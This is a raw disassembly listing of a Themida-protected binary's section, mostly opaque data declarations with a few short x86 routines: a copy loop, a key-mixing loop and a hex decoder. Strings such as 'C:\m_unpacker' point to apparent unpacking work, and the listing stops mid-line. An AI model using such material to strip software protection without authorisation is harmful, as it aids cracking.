dd offset byte_5FCAA1 dd 2850000h, 2746DD4h, 7 dup(0) dd 1, 0EA026DCFh, 3 dup(0) dd offset dword_5CB544 dd 0Dh dup(0) dd 0C31CF7h, 0 dd 4633h, 0Fh dup(0) dd 0C0AAA1h, 981062h, 0B960694Eh, 0C38B0Dh, 2 dup(0) dd 105C28h, 0 dd 400000h, 0 dd offset dword_57CA50 align 10h dd 7C814AF2h, 0FE2940F3h, 0 dd 18B9547Ch, 2 dup(0) aFirPy db '”ë|PY',0 align 10h dd 3 dup(0) dd 0FFA15E9Ah, 1AA7D75Dh, 2CDF26ECh, 12h dup(0) dd 6A20h, 6 dup(0) dd 0E8Ch, 5 dup(0) dd 7C80180Eh, 12FEC8h, 5 dup(0) dd offset byte_5D0F8D dd offset byte_5B30AB align 10h dd 56Dh, 90h, 0CCh, 0 dd 129AC09h, 0 dd 12CC0192h, 2 dup(0) aX?j db 'X?†|',0 align 4 dd 3 dup(0) dd offset word_5B5CDE dd 4 dup(0) dd 28E3h, 1Ch dup(0) dd 0C08EE4h, 3 dup(0) dd 0FFFF9730h, 0 aD db 'Å·{¤',0 align 10h aZuW db 'ZîÝw',0 align 4 dd 3 dup(0) dd 110000h, 4 dup(0) dd offset dword_57A6BC dd 129AC09h, 0C38B0Dh, 0FFFFA4B8h, 57C1CCh, 7 dup(0) dd offset word_5DB6AE dd 2 dup(0) dd 0D3F9FCh, 0FFA4C9BCh, 0 dd offset dword_5D1204 dd offset byte_5CA37F align 10h dd 8312D562h, 2 dup(0) dd offset dword_57B29C dd 2 dup(0) dd 5A2F1A42h, 7 dup(0) dd 0C61E69h, 27C00FFh, 3 dup(0) dd offset byte_5CE3FB aXaW db 'åíÝw',0 align 4 dd 0 dd 144AD8h, 5 dup(0) aFir_3 db '”ë|',0 align 4 dd 7 dup(0) dd 7E410000h, 2 dup(0) dd 1, 0 aWUteey db 'wÃ',0Bh,'ute…Y',0 align 4 dd 9 dup(0) dd 6Ch, 0 dd 7C801D77h, 57B7C0h, 4 dup(0) aUKv db 'ž]kv',0 align 4 dd 4 dup(0) aIaps db 'IAPS',0 align 4 dd 5 dup(0) dd 0E984BAF1h, 0 dd offset dword_5EEC7C dd 3 dup(0) dd 89ACh, 0Eh dup(0) dd 0C4h, 5EEA73h, 2 dup(0) a5D db '5¾d',0Dh,'ì&ß,',0 align 10h dd 4 dup(0) dd 7FFFFFFFh, 2 dup(0) dd 7D1h, 2 dup(0) dd 0C0FA03h, 0C01920h, 30DFh, 0 dd 6A0652EFh, 9 dup(0) dd 1, 6 dup(0) dd 23E4h, 6 dup(0) dd offset dword_5FC7A8 dd 3 dup(0) dd 836F146Ch, 2 dup(0) dd 660188FBh, 7 dup(0) dd offset dword_57C208 dd 4 dup(0) dd 2Ch, 0C00A25h, 836F146Ch, 2 dup(0) aDF db 'DÚFÂ',0 align 4 dd 2 dup(0) dd offset unk_511000 dd 76341647h, 0FF3F05FDh, 8 dup(0) aFir_4 db '”ë|',0 align 10h dd 8 dup(0) dd 0C01A3Ch, 9 dup(0) dd 1, 0 dd 76B40000h, 0 dd 0C12493h, 400579FDh, 7C90EB94h, 0Ah dup(0) dd 370h, 5FC7A8h, 8 dup(0) aAah db '|í€h',0 align 10h dd offset word_5F0A82 align 8 dd 0E5DEE59h, 0 dd 113000BAh, 0 dd 9DEFh, 0 a_eb db '$.¥',0 align 10h dd 341682F4h, 2 dup(0) a8jmm db '8JMM',0 align 4 dd 2Ah dup(0) aFir_5 db '”ë|',0 align 4 dd 12E8h, 6 dup(0) dd 0FFFE946Ch, 2870000h, 7DC1h, 2 dup(0) aGss7 db '·Æ£sé7',0 align 4 dd 0Ah dup(0) dd 0E3230388h, 2 dup(0) dd 99B1h, 5 dup(0) dd offset word_6020CA dd 6 dup(0) dd offset dword_5B3644 dd 5 dup(0) dd offset dword_5CFB64 dd 0C0180Fh, 6C8h, 2 dup(0) aZGd db '‡(ƒ„',0 align 4 dd 0 aNnU db '|î',0 align 4 dd 110B5Fh, 0 dd offset byte_5B0023 dd 7 dup(0) dword_57A6BC dd 0 ; Themida_:0057C27Co dd 129AC09h, 0Ch dup(0) aFir_6 db '”ë|',0 align 4 dd 6 dup(0) dd 0B086h, 3 dup(0) dd 1610Ch, 6 dup(0) dd 1CBFFB0h, 14h dup(0) dd 0ED33FE6Eh, 0 dd offset byte_5D3167 dd offset byte_5B2328 dd offset byte_5B0023 dd 0 dd offset byte_57D567 dd 0FFFF6617h, 0C32878h, 0 aGa db '"G€|',0 align 4 aEo db '¥Ž',0 align 4 dd offset dword_57CA50 dd 4 dup(0) dd 7C90DDF9h, 6 dup(0) dd offset word_5BED76 aGia db 'G›€|',0 align 4 dd 0C0180Fh, 3 dup(0) dd 0FFFFFF00h, 0D90000h, 3 dup(0) dd 146Ch, 3 dup(0) dd 123644h, 0C0AEA1h, 12863D1Ch, 2 dup(0) aAna db ' €|',0 align 4 dd 5 dup(0) dd offset byte_5B4711 a0I db 'ß0Å©',0 ; DATA XREF: Themida_:0057C25Co unk_57A871 db 0 ; DATA XREF: Themida_:0057C278o db 0 db 0 dd 65h dup(0) dd 12FE80h, 0Dh dup(0) dd offset dword_57C1CC dd 7C900000h, 0 dd 12FEC8h, 8 dup(0) dd 41B44B2Bh, 0DE7F7DA1h, 0 a0I_0 db 'ß0Å©',0 align 4 dd offset dword_5E68BC dd 0 dd 180Fh, 57CA50h, 4 dup(0) dd 561485Dh, 5B427B15h, 7C90EB94h, 3 dup(0) aM db ']m&[',0 align 8 db '>',0 dw 7C80h dd offset word_5C631E dd 2 dup(0) dd 0DB57h, 7 dup(0) aFfG db '”FÒ£',0 align 10h dd 3 dup(0) dd offset byte_5B89BB dd 0C38B32h, 3 dup(0) dd 98h, 5BFDFFh, 0C00E24h, 5C41A9h, 5AD3BEh, 8 dup(0) dd 836F11E8h, 280h, 6 dup(0) dd offset byte_57D567 aFir_7 db '”ë|',0 align 10h dd 4 dup(0) dd offset word_5D312E dd 0FFFFA4B4h, 1D25CD95h, 0Ch dup(0) dd offset byte_401000 dd 3 dup(0) dd 4F5248FEh, 0 aDm db ' Ó„M',0 align 4 dd 0Fh dup(0) dword_57AC28 dd 7C900023h, 0B8h, 74C00B00h, 18C203h, 0C24448Bh, 0E853h ; DATA XREF: Themida_:0057C0A8o dd 815B0000h, 17C3h, 245C8900h, 24448910h, 37B85B14h, 0FF00C0FAh dd 24448BE0h, 0E0FF04h, 13h dup(0) aGxW db 'ƒxÝw',0 align 10h dd offset word_5DF622 dd 27h, 0FFA14313h, 3 dup(0) dd 1000h, 5EFE3Fh, 9 dup(0) dd 0CE8h, 6 dup(0) dd 660188FBh, 6 dup(0) dd 0D4h, 9 dup(0) dd 2156F4E7h, 2 dup(0) dd offset byte_5BFC03 dd 5 dup(0) dd 0C97245h, 5 dup(0) a_dlI db '_¤l,ϨÀ',0 dd offset byte_5B2328 dd 5 dup(0) dd 6DE28D8h, 6D656854h, 616469h, 1Eh dup(0) dd offset dword_5CA6E4 dd 5 dup(0) dd 89E15C98h, 0FFA355F1h, 6 dup(0) dd 0B6A61Eh, 0 dd 0C08B28h, 5C7171h, 15h dup(0) dd 675DD1FEh, 0 dd offset byte_5B6219 dd 6 dup(0) db 'ì&ß,',0 align 4 dd 5 dup(0) dd 7C90EB94h, 1, 8 dup(0) dd 0C08E51h, 0FFFFFB04h, 5 dup(0) dd 19h, 6 dup(0) dd 0FFFFBFFFh, 30DFh, 4 dup(0) dd 0DBC51B0h, 1, 24242424h, 1Ah dup(0) dd 0D2AB3FFAh, 0 dd 186B6411h, 3 dup(0) dd 1, 23h, 0 dd 12FFE0h, 5C5EDDh, 0 dd 3EFCh, 3 dup(0) dd offset word_5E156A dd 0Ch dup(0) dd 4918ED0h, 0 dd 7FDD3FFCh, 0D3D4E0A3h, 2 dup(0) dd 56006A60h, 2 dup(0) dd 0FFFFFF24h, 34E20C84h, 2 dup(0) dd 7C800000h, 0 dd 58D8h, 665DB524h, 12CC0192h, 0Ah dup(0) dd 0CECAA31Ch, 5E8D52h, 0 dd offset byte_5ED535 dd 3 dup(0) dd 7C8111DAh, 0Dh dup(0) dd 692041Bh, 0 dd 557h, 2 dup(0) dd 1DBFFB0h, 5FB538h, 7 dup(0) dd offset byte_5B2585 dd 4 dup(0) aWB0I db 'w',0Ah db '|ß0Å©',0 align 4 dd 6 dup(0) aFir_8 db '”ë|',0 align 2 aWva db 'Ýwví[',0 aF_1: unicode 0, <ä>,0 align 8 dd 836FFFDDh, 665DB524h, 7 dup(0) aM_0 db '\m&[',0 align 4 dd 2 dup(0) dd 0E3503DFFh, 0 dd offset byte_5BCFA1 dd 26C0000h, 5 dup(0) aSZ db '/éÂÇÒÑ',0 align 10h dd 7FFFFFFFh, 5 dup(0) dd 77DD6BF0h, 0 dd 7CDFFFF6h, 0C08D20h, 0 a0I_1 db 'ß0Å©',0 align 4 dd 0Eh dup(0) dword_57B29C dd 0C02918h, 3 dup(0) dd 0C0180Fh, 2 dup(0) aRR db '*|',0 align 10h dd 79121C99h, 0E698FE36h, 0 dd 80F5E9Dh, 76B44E5Bh, 5EEC7Ch, 0 dd 692041Bh, 0 dd 3DFD8D8Dh, 3 dup(0) dd 0E8h, 4 dup(0) dd 0FE340050h, 31E9h, 5AD14Bh, 945FFE4Bh, 0 dd 12FEBCh, 8 dup(0) dd 0E72D2D16h, 0Ch dup(0) dd 0FF3F05FDh, 0 dd 26C002Ch, 9 dup(0) aRestartapp_exe db 'RestartApp.exe',0 align 4 dd 2 dup(0) dd 76F36C5Bh, 5 dup(0) dd offset dword_57DA5C dd 0 dd offset byte_5E9F97 dd 5 dup(0) dd 129AC09h, 3 dup(0) dd 129AC09h, 6 dup(0) aIqu_0 db 'Ô‰Qã',0 align 4 dd 32597F5Dh, 2 dup(0) dd offset dword_5B3644 align 10h dd 0FB892B50h, 4 dup(0) dd offset dword_5B20D4 dd 0 dd offset dword_5D919C dd 0 dd 270C9F4h, 0 db '{×ÉÓ',0 align 8 dd 12FF54h, 2 dup(0) dd 30DFh, 0 dd 11111111h, 0 dd offset dword_5B8B74 dd 0 dd 12FEC8h, 8Ah dup(0) dd 0A280105h, 0 dd 2AC0000h, 0 dd 2840000h, 0 aDhPd6 db '„h½¯D6[',0 dd 0 dd 1, 10h dup(0) dd offset dword_5C93A4 align 8 dd 12FFA4h, 981062h, 5B5A0Fh, 21212121h, 3 dup(0) dd 0FFA4A618h, 2 dup(0) dd offset word_5AD40E dd 4 dup(0) dd 84h, 0 dd 0C0B508h, 0 dd offset byte_5D6C3B dd 5 dup(0) dd 3EFCh, 7C917F9Fh, 0 dd 5, 2 dup(0) dd 51F6F940h, 0 dd offset dword_5C1E18 dd 0 dd 129AC09h, 0FFED0184h, 981062h, 3 dup(0) dd 1, 2850000h, 0Ah dup(0) dd 1DBFFB0h, 4 dup(0) dd 0FFFFA060h, 0 dd 0C631E5h, 6EBAF7F4h, 1, 0C0FA03h, 17h dup(0) dd 3E9BDA02h, 0 dd 836F146Ch, 0 dd 4, 0 dd 0F3E6AA48h, 5 dup(0) aCM_unpacker db 'C:\m_unpacker',0 align 4 dd 80h dup(0) dd 7D5103A3h, 4 dup(0) aF_2 db '$µ]f',0 align 10h dd 0 dd 3D94h, 0 dd offset byte_5B2329 dd 0 dd 4001F0h, 0Ah dup(0) dd 7C800000h, 0Fh dup(0) dd 0C0180Fh, 5 dup(0) dd 0D00000h, 7 dup(0) dd 12FFE0h, 0Ah dup(0) aXfso db 'Xä‘®',0 align 4 dd 3 dup(0) aTyuj db 'tYU†',0 align 10h dd 5 dup(0) dd offset byte_5CC3B9 dd 0C01A44h, 0 aFir_9 db '”ë|',0 align 4 dd 0Bh dup(0) dd 0C0180Fh, 7C90EB94h, 77DFC41Bh, 5 dup(0) dd offset dword_4E6ECC+1A868h dd 4 dup(0) dd offset dword_57C1CC align 10h dd 30001h, 0 dd 713Ah, 0Bh dup(0) dd 76F21790h, 7 dup(0) dd offset word_5E6372 dd 5 dup(0) aFir_10 db '”ë|',0 align 4 dd 4 dup(0) dd offset dword_5EA07C dd 2 dup(0) dd 0C0180Fh, 3 dup(0) dd 0AA00h, 0Dh dup(0) dd 0FDBFB230h, 0 dd 0FFFFC600h, 0ACh, 4 dup(0) dd 8B32h, 5BA433h, 0Fh dup(0) aGxW_0 db 'ƒxÝw',0 align 4 dd 12h dup(0) dd 0A4h, 1Ah dup(0) dd 20513D02h, 0 dd 0C63F0Fh, 5EEA6Dh, 3 dup(0) dd 0CC2h, 7 dup(0) dd 5E8h, 5AD165h, 0FFFFFF70h, 0 dd 18EA9DEFh, 0 aGa_0 db '"G€|',0 align 4 dd 0 a6666 db '6666',0 align 4 dd 5 dup(0) dd 0C08E51h, 2746DD4h, 10h dup(0) dd 836FFFDDh, 2 dup(0) dd 0FE240050h, 8 dup(0) dd offset byte_5D30D1 dd 2 dup(0) dd 0FFFFFFB0h, 0 dd offset dword_5B5100 dd 0FFFFFFFFh, 8B32h, 5EF3AEh, 2 dup(0) dd offset byte_5D34AB dd 5 dup(0) dd 0FFFF5F9Eh, 0 dd offset byte_5E6279 dd 0 dd 0FFFF8D68h, 0Fh dup(0) aOj db '¹ÙŽj',0 align 4 a0I_2 db 'ß0Å©',0 align 4 dd 2 dup(0) aFir_11 db '”ë|',0 align 4 dd 2 dup(0) dd 12FF54h, 4 dup(0) aFir_12 db '”ë|',0 align 4 dd 3 dup(0) dd 0CAECh, 7C80ABDEh, 400E9h, 77DDEE37h, 2 dup(0) aFir_13 db '”ë|',0 align 4 dd 9 dup(0) dd 7C81CDDAh, 180Fh, 2 dup(0) dd offset dword_57AC28+4 dd 8 dup(0) dd offset aS7+2 dd 4 dup(0) dd 0FFA3BE57h, 45EAE94h, 3 dup(0) dd 9ECEh, 0FFFBFF17h, 5AD3E6h, 12FFA4h, 2 dup(0) dw 3Eh unicode 0, <À>,0 align 4 dd 4 dup(0) dd 0E1DE586h, 5 dup(0) dd 0FFFF2AF0h, 0 dd 30081FD3h, 0C0180Fh, 5DDD8Eh, 5FDCAFh, 46DFB1B7h, 0 dd offset word_5D4B22 dd 4928D8Dh, 8 dup(0) dd 56Dh, 0FFFF6211h, 0 dd offset dword_5CB524 dd 8 dup(0) dd 129ABFAh, 0E896DE4Dh, 0 dd 129AC09h, 0C0180Fh, 0 dword_57C1CC dd 1F4h, 3 dup(0) ; Themida_:0057BC78o dd 0FB7F6FA6h, 5 dup(0) dd 1, 3 dup(0) dd 0EC8h dword_57C208 dd 0 dd 129AC09h, 0 dd 12FFF0h, 0D03FFCh, 7 dup(0) aDF_0 db 'DÚFÂ',0 align 10h dd 0C00000h, 2 dup(0) dd offset dword_57DD80 dd 3 dup(0) dd offset a0I+4 dd 2 dup(0) dd 2, 836F146Ch, 0C09417h, 0 dd offset unk_57A871 dd offset dword_57A6BC dd 6 dup(0) dd 9027FDD5h, 10375Ch, 77F7F117h, 6 dup(0) a7i db '7›¾Õ',0 align 10h db '|ìÀ',0 align 8 aF_3: unicode 0, <ä>,0 align 10h dd offset word_5E7D12 dd 0A0h, 2 dup(0) aVi db 'VI',0Dh,0Dh,0 align 4 dd 0 dd 0BC7A36h, 0 aFir_14 db '”ë|',0 align 4 dd offset byte_5C0BD3 dd 0 dd 12FFA4h, 3 dup(0) dd 0FFFFFFFEh, 0 dd 0B817A6h, 8 dup(0) dd 0A8h, 12FEC8h, 0 dd 0FFFF6617h, 3 dup(0) aB_1 db 'ÚÍ|',0 align 4 dd 5 dup(0) dd offset byte_5B0023 dd 5 dup(0) dd 0FFFE946Ch, 0 dd 2710h, 2Ah dup(0) dd offset word_5B129A dd 7 dup(0) dd 12FF60h, 0BCh, 5 dup(0) dd 99B1h, 12FFE0h, 4 dup(0) a9a db 'É9A*',0 align 10h dd 4 dup(0) a0IAS db 'ß0ũϴ€|=™',0 align 4 dd 6 dup(0) aAcz db '€æ§}',0 align 4 dd 4 dup(0) dd 400E9h, 7 dup(0) dd offset byte_5BA433 dd 0C0FA37h, 0DA44h, 0 dd 2860000h, 5 dup(0) dd 2DA27F8h, 4 dup(0) dd offset dword_5B719C dd 4 dup(0) dd 0FFFE946Ch, 0 aFirCWindowsSys db '”ë|C:\WINDOWS\system32\ADVAPI32.dll',0 align 4 dd 39h dup(0) dd offset dword_5FC7A8 align 10h dd offset word_5FB366 dd 2 dup(0) dd 129AC09h, 2 dup(0) dword_57C6A8 dd 4, 3 dup(0) dd 68h, 0 dd offset byte_5CE3FB a333333333333 db '333333333333',0 align 4 dd 6 dup(0) dd 0B8h, 0FFA494DFh, 0Ch dup(0) dd 0C0180Fh, 49749180h, 0 dd offset byte_5C59C9 dd 74B0FD28h, 3 dup(0) aXEf db '¾åÐ¥”',0 align 4 dd 2 dup(0) dd 0C60213h, 9 dup(0) dd 1, 4 dup(0) dd 836F146Ch, 7 dup(0) dd offset byte_5A9CF7 dd 12FFC4h, 0 dd 7C90EB94h, 7C800001h, 8 dup(0) dd 1, 0 aVQ db 'ØV;q',0 align 4 dd 5 dup(0) dd 660188FBh, 3 dup(0) aF_4 db '$µ]f',0 align 10h dd 0DA100000h, 4 dup(0) aXavg db 'åíVG',0 align 4 aM_1: unicode 0, <Œ>,0 dd 4 dup(0) dd 0C01842h, 5 dup(0) dd 7C80180Eh, 8 dup(0) dd 5698h, 4 dup(0) dd 0B3h, 9 dup(0) dd 12543FC4h, 5 dup(0) dd 0C59178h, 9 dup(0) dd 190Ah, 0 dd offset byte_5C0BD3 align 8 dd offset word_5CA2B6 dd 4 dup(0) dd 0DFD0B015h, 0 dd offset dword_4E6ECC+427Ch dd 0 dd offset loc_5E735D+4 dd 0 dd 2156F4E7h, 4 dup(0) aNiaFir db '¨A~”ë|',0 align 4 aNp db 'NP',0 align 4 dd 0C0180Fh, 0 dd 7C90EE18h, 0 dd 224E63Eh, 2 dup(0) aFirI db '”ë|ˆ',0 align 10h dd 0C0180Fh, 6 dup(0) dd 1886FEC5h, 3 dup(0) dd 0FCh, 2 dup(0) dd 113014h, 0C0FA03h, 5 dup(0) dd offset word_5ED70E align 10h dd 0E7156211h, 3 dup(0) dd 4D000h, 5D34ABh, 5 dup(0) dd 99E9h, 3 dup(0) dd offset dword_5B719C dd 1D835B68h, 0 dd 76F21510h, 123BC3h, 0 dd offset dword_57C6A8 dd 0 dd 3D94h dword_57CA50 dd 0C037ECh, 0 ; Themida_:0057A7C8o dw 3Eh unicode 0, <À>,0 align 10h dd 0 dd 0C8h, 17h dup(0) dd 0FFFF8DECh, 0B6h dup(0) aLa db '«€|°',0 align 4 dd 3 dup(0) dd 7E41A8ADh, 0FFFE0B6Ch, 0 dd 0A0000h, 0 dd 32597F5Dh, 0C2FCADh, 2 dup(0) dd 0C0h, 0 aUA db 'ž*í|',0 align 4 dd 16B94h, 0 dd offset word_5C4EAA dd 5 dup(0) aFir_15 db '”ë|',0 align 10h dd 2 dup(0) dd 0DC1E4954h, 9Ch, 3 dup(0) dd 5643h, 5B3656h, 7C800D10h, 2 dup(0) dd 0FFFF9DEFh, 1020h, 8 dup(0) dd 3A892314h, 3 dup(0) dd offset word_5EE6A6 dd 0FDC9A77Eh, 0 dd 0B40A4h, 0 dd 1, 400000h, 2Eh dup(0) aLLS db '‹Å‹Ô`è',0 align 4 dd 815D0000h, 153527EDh, 85958906h, 8906152Dh, 152AA5B5h dd 0E5858906h, 83061527h, 1507A9BDh, 0C740006h, 0E28BE88Bh dd 1B8h, 0CC200h, 2424448Bh, 25598589h, 456A0615h, 0A3E8h dd 749A6800h, 0DFE80783h, 68000000h, 0A894B25h, 0D5E8h dd 214E900h, 46450000h, 4A494847h, 4E4D4C4Bh, 5251504Fh dd 56555453h, 5A595857h, 5E5D5C5Bh, 6261605Fh, 66656463h dd 6A696867h, 6E6D6C6Bh, 7271706Fh, 76757473h, 7A797877h dd 7E7D7C7Bh, 8281807Fh, 86858483h, 8A898887h, 8E8D8C8Bh dd 9291908Fh, 96959493h, 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh dd 0A6A5A4A3h, 0AAA9A8A7h, 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h dd 0BAB9B8B7h, 0BEBDBCBBh, 0C2C1C0BFh, 0C3h, 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 6153615h mov ebx, edx mov dword ptr [ebp-28h], 0 loc_57D054: ; CODE XREF: Themida_:0057D071j mov eax, [ebp-28h] inc eax mov [ebp-28h], eax cmp dword ptr [ebp-28h], 80h jz short loc_57D073 mov eax, [ebp+8] mov [ebx+615357Fh], eax inc dword ptr [ebp+8] inc ebx jmp short loc_57D054 ; --------------------------------------------------------------------------- loc_57D073: ; CODE XREF: Themida_:0057D062j mov [ebp-24h], eax popa mov eax, [ebp-24h] leave retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 615365Eh lea eax, [ebp-80h] mov ebx, [ebp+8] mov dword ptr [ebp-84h], 0 loc_57D0A4: ; CODE XREF: Themida_:0057D0BFj mov ecx, [ebp-84h] rol ebx, 1 mov [eax], bl inc ecx mov [ebp-84h], ecx cmp dword ptr [ebp-84h], 80h jnz short loc_57D0A4 mov dword ptr [ebp-84h], 0 lea edi, [edx+615357Fh] lea esi, [ebp-80h] loc_57D0D4: ; CODE XREF: Themida_:0057D101j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_57D0E0: ; CODE XREF: Themida_:0057D0E7j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_57D0E0 imul eax, ebx inc edi inc esi mov ecx, [ebp-84h] inc ecx mov [ebp-84h], ecx cmp ecx, 80h jnz short loc_57D0D4 popa leave retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_57D11E ; --------------------------------------------------------------------------- loc_57D11A: ; CODE XREF: Themida_:0057D121j inc dword ptr [ebp-4] inc esi loc_57D11E: ; CODE XREF: Themida_:0057D118j cmp byte ptr [esi], 0 jnz short loc_57D11A mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_57D1AF ; --------------------------------------------------------------------------- loc_57D130: ; CODE XREF: Themida_:0057D1B2j mov dword ptr [ebp-8], 0 jmp short loc_57D1A6 ; --------------------------------------------------------------------------- loc_57D139: ; CODE XREF: Themida_:0057D1AAj mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_57D193 ; --------------------------------------------------------------------------- loc_57D149: ; CODE XREF: Themida_:0057D197j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_57D16B cmp bl, 39h ja short loc_57D16B sub bl, 30h jmp short loc_57D18D ; --------------------------------------------------------------------------- loc_57D16B: ; CODE XREF: Themida_:0057D15Fj ; Themida_:0057D164j cmp bl, 61h jb short loc_57D17D cmp bl, 66h ja short loc_57D17D sub bl, 61h add bl, 0Ah jmp short loc_57D18D ; --------------------------------------------------------------------------- loc_57D17D: ; CODE XREF: Themida_:0057D16Ej ; Themida_:0057D173j cmp bl, 41h jb short loc_57D18D cmp bl, 46h ja short loc_57D18D sub bl, 41h add bl, 0Ah loc_57D18D: ; CODE XREF: Themida_:0057D169j ; Themida_:0057D17Bj ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_57D193: ; CODE XREF: Themida_:0057D147j cmp dword ptr [ebp-0Ch], 2 jb short loc_57D149 cmp dword ptr [ebp-10h], 0 jbe short loc_57D1A3 mov eax, [ebp-10h] stosb loc_57D1A3: ; CODE XREF: Themida_:0057D19Dj inc dword ptr [ebp-8] loc_57D1A6: ; CODE XREF: Themida_:0057D137j cmp dword ptr [ebp-8], 2 jb short loc_57D139 add edx, 4 loc_57D1AF: ; CODE XREF: Themida_:0057D12Ej cmp edx, [ebp-4] jb loc_57D130 mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- dw 0B9h dd 8D000070h, 1537A4BDh, 470FFE06h, 0B8FA7549h, 48692121h dd 113000BAh, 0EA81F0h, 8DF00000h, 15389E85h, 0FF645006h dd 35h, 25896400h, 0 dd 0E8h, 0B5BB5800h, 665CF2F1h, 0C22BD98Bh, 5880Fh, 86BB0000h dd 2507EAFAh, 0FFFFF000h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 0F5C35747h, 2A877C5Bh, 0BFF7FA2Fh, 0DEB70F19h dd 0FF33CA8Bh, 4D388166h, 0F0E755Ah, 33C50B7h, 503A81D0h dd 74000045h, 10002D08h, 0EB470000h, 58F64E3h, 0 dd 8D04C483h, 1538B195h, 0FF645206h, 35h, 25896400h, 0 dd 2DC103h, 8B000010h, 0E6810470h, 0FFFF0000h, 0FE81h dd 3768000h, 331C708Bh, 32F883C0h, 81661F74h, 745A4D3Eh dd 0EE8109h, 40000100h, 7E8BEBEBh, 81FE033Ch, 45503Fh dd 0EB447400h, 58F64E8h, 0 dd 6104C483h, 4C8B51C3h, 0A9811024h, 0B0h, 1000h, 0C3C03359h dd 244C8B51h, 0E85510h, 5D000000h, 38BCED81h, 858D0615h dd 615387Ah, 0B88189h, 595D0000h, 96C3C033h, 58F64h, 83000000h dd 6A04C4h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 660222C3h, 0D780DE8Bh, 0D98C666Ch, 0AE850h dd 466B0000h, 0AAF878F8h, 22369F09h, 0CE9h, 9D96D00h, 251C06ECh dd 0BC073C74h, 805B5B9Bh, 816604E1h, 0ADE50CBh, 34850FC9h dd 0F000000h, 85C7D9BFh, 6152DB5h, 1, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 9CC35747h, 0E9F820B6h, 0Fh dd 0C7E0DB80h, 152DB585h, 6, 89DE8B00h, 15168585h, 15A7BB06h dd 85894F7Eh, 6152811h, 0BE8h, 2B81D100h, 17432545h, 0A585F0A4h dd 60CEB760h, 8F0FF28Bh, 0 dd 815A6161h, 0DBE0F0F6h, 0FDC28120h, 6800006Bh, 1ACDh dd 12E9h, 0B6FEF600h, 0DEEAD682h, 373D1ED6h, 36307222h dd 58D3064Dh, 0CE860h, 7EDC0000h, 0DEEC218Eh, 1F952C20h dd 8B660095h, 8B665ED0h, 0A8B61C1h, 7EDE8166h, 0B7F18110h dd 66639294h, 81ED68BEh, 89748AE9h, 0DE8B6627h, 4DDAC181h dd 60605866h, 0DE9h, 0E49B8E00h, 0C06716CFh, 13F8F7DDh dd 8B614FC5h, 665161D9h, 8FFA80BBh, 3EA8302h, 81DE8B60h dd 0C4EF19E0h, 0E84A6124h, 0Fh, 93998E26h, 995C92AAh, 0EDF2B8E1h dd 0BFE64707h, 70877525h, 850F485Bh, 0FFFFFF92h, 14E8FA8Bh dd 7E000000h, 6FD73EFFh, 56D3ED06h, 3805EEAh, 56E5F46Bh dd 0BF6118E4h, 7A7BE977h, 0E5F5805Eh, 6130C681h, 0E9810000h dd 0E0AFD4Ch, 181ABAh, 7026BF00h, 36FF1492h, 5830F58h dd 0BB000000h, 6E6CEBBFh, 81BDC081h, 11E84CF2h, 63000000h dd 8350E0D8h, 0A1A9E6E8h, 0B257F987h, 2167AD7Ah, 0E340F781h dd 81597D7Bh, 7DF2A2F0h, 0BFE8817Ah, 8109EE60h, 8337B5EBh dd 0BB66500Ah, 68F97D1h, 68F0Fh, 8B600000h, 615857C3h dd 0E904EE83h, 5, 96112EDBh, 1EA83D7h, 1C850Fh, 0C7800000h dd 25E9B1h, 59A20000h, 0EA7D08E6h, 0E3ABF9B3h, 7577873Fh dd 0CBC1997Ch, 73E97387h, 0CFFFFFFFh, 4BBC5773h, 0F5E36963h dd 0EBEFFE41h, 21B04h, 704E900h db 2 dup(0), 0FCh byte_57D567 db 60h ; DATA XREF: Themida_:0057A7ACo ; Themida_:0057AB74o dd 0FF18B60h, 680h, 860F00h, 61000000h, 0B8h, 6E900h, 0FB4E0000h dd 0E1BDC699h, 2824548Bh, 5D8589FCh, 6006150Ah, 0C3FB29BFh dd 0BE61F83Fh, 3Ch, 0AE9h, 18ADE500h, 0F9A44EB0h, 396F586h dd 0F242474h, 0C86h, 68A0F00h, 89000000h, 1527E1B5h, 89AD6606h dd 1518C585h, 24440306h, 519D8924h, 5006152Ch, 4840Fh dd 8A600000h, 48961C3h, 29506024h, 1526F595h, 0BD8B5A06h dd 6151459h, 78408B61h, 0BE9h, 7A9EBF00h, 7BEC6C01h, 1E448AE1h dd 28244403h, 9D8B60F9h, 6150981h, 61DFB70Fh, 8918408Bh dd 15098D95h, 0B5894006h, 6151099h, 3B2E8589h, 60FC0615h dd 0CEBF6660h, 0D9816662h, 8161CB8Fh, 7F0CB4F3h, 0F586133h dd 18Dh, 0AE9F800h, 1D000000h, 0D84269D0h, 525D54E9h, 78708BDEh dd 98F78160h, 8111F5A0h, 3F61D2C9h, 0C6836156h, 13E91Ch dd 0C1410000h, 3EE04623h, 42C89BB2h, 0D53E0D41h, 91C95AC2h dd 247403E9h, 8E924h, 0C69E0000h, 0D31BF1A4h, 0BD8D8144h dd 61521D9h, 890FADFCh, 16h, 11E9h, 0E0AEBB00h, 53678D6h dd 0CD1E267Ah, 1EB2130Fh, 44031C21h, 0EE92424h, 0D3000000h dd 99DEB772h, 0BA1B9203h, 0C33C5073h, 0FF9AB8Dh, 0E8Ah dd 9E900h, 8E690000h, 1E7A8D5Ah, 8D4228F9h, 15186DBDh dd 59B50906h, 0AD061516h, 